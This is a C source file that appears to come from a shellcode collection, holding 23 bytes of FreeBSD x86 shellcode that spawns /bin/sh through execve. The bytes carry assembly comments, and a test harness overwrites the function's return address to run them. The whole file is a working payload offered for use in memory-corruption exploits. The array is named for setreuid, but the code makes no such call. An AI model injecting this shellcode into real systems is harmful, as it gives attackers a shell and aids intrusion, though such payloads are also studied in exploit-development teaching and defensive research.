/* * * FreeBSD_x86-execve_sh-23b-iZ.c (Shellcode, execve /bin/sh, 23 bytes) * * by IZ <guerrilla.sytes.net> * */ char setreuidcode[] = "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x54" /* push %esp */ "\x53" /* push %ebx */ "\x50" /* push %eax */ "\xb0\x3b" /* mov $0x3b,%al */ "\xcd\x80"; /* int $0x80 */ void main() { int* ret; ret = (int*) &ret + 2; printf("len %d\n",strlen(setreuidcode)); (*ret) = (int) setreuidcode; }